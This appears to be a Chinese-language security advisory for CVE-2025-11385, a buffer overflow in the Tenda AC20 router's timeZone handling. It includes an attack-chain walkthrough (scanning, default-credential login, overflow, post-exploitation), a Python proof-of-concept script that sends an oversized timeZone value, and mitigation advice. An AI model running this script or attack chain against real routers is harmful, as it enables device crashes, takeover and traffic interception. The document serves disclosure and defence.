IPBUF安全漏洞报告
English
CVE-2025-11385 CVSS 8.8 高危

CVE-2025-11385:Tenda AC20 fast_setting_wifi_set缓冲区溢出漏洞

披露日期: 2025-10-07

漏洞信息

漏洞编号
CVE-2025-11385
漏洞类型
缓冲区溢出
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Tenda AC20

相关标签

缓冲区溢出Tenda AC20路由器IoT设备远程代码执行sscanftimeZoneCWE-120已公开PoC高危漏洞

漏洞概述

CVE-2025-11385是Tenda AC20路由器(固件版本至16.03.08.12)中存在的一个高危安全漏洞。该漏洞位于路由器管理接口的/goform/fast_setting_wifi_set处理逻辑中,具体涉及sscanf函数对timeZone参数的处理过程。由于程序未对用户输入的timeZone参数进行充分的长度校验,攻击者可以通过构造超长字符串触发缓冲区溢出,从而在受影响的设备上执行任意代码。

该漏洞的CVSS 3.1评分为8.8分,属于高危级别。攻击者可以通过网络远程发起攻击,仅需低权限认证即可利用,无需用户交互。漏洞的成功利用将导致路由器设备的机密性、完整性和可用性均受到严重影响。攻击者可以利用该漏洞获取设备控制权、篡改路由器配置、窃取用户网络流量或以该设备为跳板对内网进行进一步攻击。

值得注意的是,该漏洞的利用代码已被公开披露,这意味着该漏洞面临较高的被大规模利用的风险。Tenda AC20是一款广泛使用的家用无线路由器,在全球范围内有大量部署,因此该漏洞的潜在影响范围较大。建议相关用户尽快采取防护措施,避免设备暴露在公网环境中,并关注厂商发布的固件更新。

技术细节

该漏洞的根本原因在于Tenda AC20路由器固件中/goform/fast_setting_wifi_set接口处理逻辑存在缺陷。当用户通过HTTP请求向该接口提交WiFi快速设置参数时,服务端程序会调用sscanf函数解析传入的timeZone参数。由于sscanf函数在解析格式化字符串时不会自动检查目标缓冲区的大小,当攻击者传入的timeZone参数超过预分配缓冲区长度时,就会发生栈缓冲区溢出。

具体利用方式如下:
1. 攻击者首先需要获取路由器的管理权限(默认或通过弱口令爆破),以满足低权限认证要求。
2. 构造恶意HTTP请求,目标是/goform/fast_setting_wifi_set接口。
3. 在请求中包含超长字符串的timeZone参数,触发sscanf函数的缓冲区溢出。
4. 通过精心构造溢出数据,覆盖函数返回地址或关键数据结构,实现远程代码执行。

由于该漏洞可以通过网络远程利用,且无需用户交互,加之利用代码已公开,攻击者可以批量扫描互联网上暴露的Tenda AC20设备进行攻击。一旦攻击成功,攻击者可以完全控制路由器设备,进而监控和篡改所有经过该设备的网络流量,对用户隐私和安全构成严重威胁。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过Shodan、ZoomEye等网络空间搜索引擎扫描互联网上暴露的Tenda AC20路由器设备,识别可攻击的目标。
STEP 2
步骤2:获取认证
利用默认口令(admin/admin)或弱口令字典对目标路由器进行暴力破解,获取低权限管理认证。
STEP 3
步骤3:构造恶意请求
构造包含超长timeZone参数的HTTP POST请求,目标是/goform/fast_setting_wifi_set接口。
STEP 4
步骤4:触发溢出
发送恶意请求,触发sscanf函数处理超长timeZone参数时的栈缓冲区溢出。
STEP 5
步骤5:执行任意代码
通过精心构造的溢出数据控制程序执行流,在路由器上执行任意代码,获取设备完全控制权。
STEP 6
步骤6:后续利用
利用被控制的路由器进行流量监听、DNS劫持、内网渗透或作为僵尸网络节点发起进一步攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11385 PoC - Tenda AC20 Buffer Overflow in sscanf (timeZone parameter) # Target: /goform/fast_setting_wifi_set # Vulnerability: Stack buffer overflow via sscanf on timeZone argument import requests TARGET_HOST = "http://192.168.0.1" USERNAME = "admin" PASSWORD = "admin" def exploit(): # Step 1: Login to obtain session cookie session = requests.Session() login_url = f"{TARGET_HOST}/login/Auth" login_data = { "username": USERNAME, "password": PASSWORD } resp = session.post(login_url, data=login_data, timeout=10) print(f"[+] Login response: {resp.status_code}") # Step 2: Craft malicious timeZone payload to trigger buffer overflow in sscanf # Overflow payload: 'A' * N to overwrite stack buffer overflow_payload = "A" * 1024 # Adjust length based on buffer size # Step 3: Send exploit request to vulnerable endpoint exploit_url = f"{TARGET_HOST}/goform/fast_setting_wifi_set" exploit_params = { "timeZone": overflow_payload, # Additional parameters may be required depending on firmware version } try: resp = session.post(exploit_url, data=exploit_params, timeout=10) print(f"[+] Exploit response: {resp.status_code}") print(f"[+] Response body: {resp.text[:200]}") except requests.exceptions.RequestException as e: print(f"[-] Request failed (possible crash): {e}") print("[+] Device may be compromised or crashed") if __name__ == "__main__": exploit()

影响范围

Tenda AC20 <= 16.03.08.12

防御指南

临时缓解措施
在官方修复固件发布之前,建议用户立即采取以下临时缓解措施:1)修改路由器默认管理密码为高强度密码,防止攻击者获取认证凭据;2)关闭路由器的远程管理功能,避免管理界面暴露在公网环境中;3)通过防火墙或ACL限制只有可信内网IP才能访问路由器管理界面;4)监控网络流量,检测是否存在针对/goform/fast_setting_wifi_set接口的异常请求;5)如非必要,考虑将受影响设备断网或更换为已修复的安全设备。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表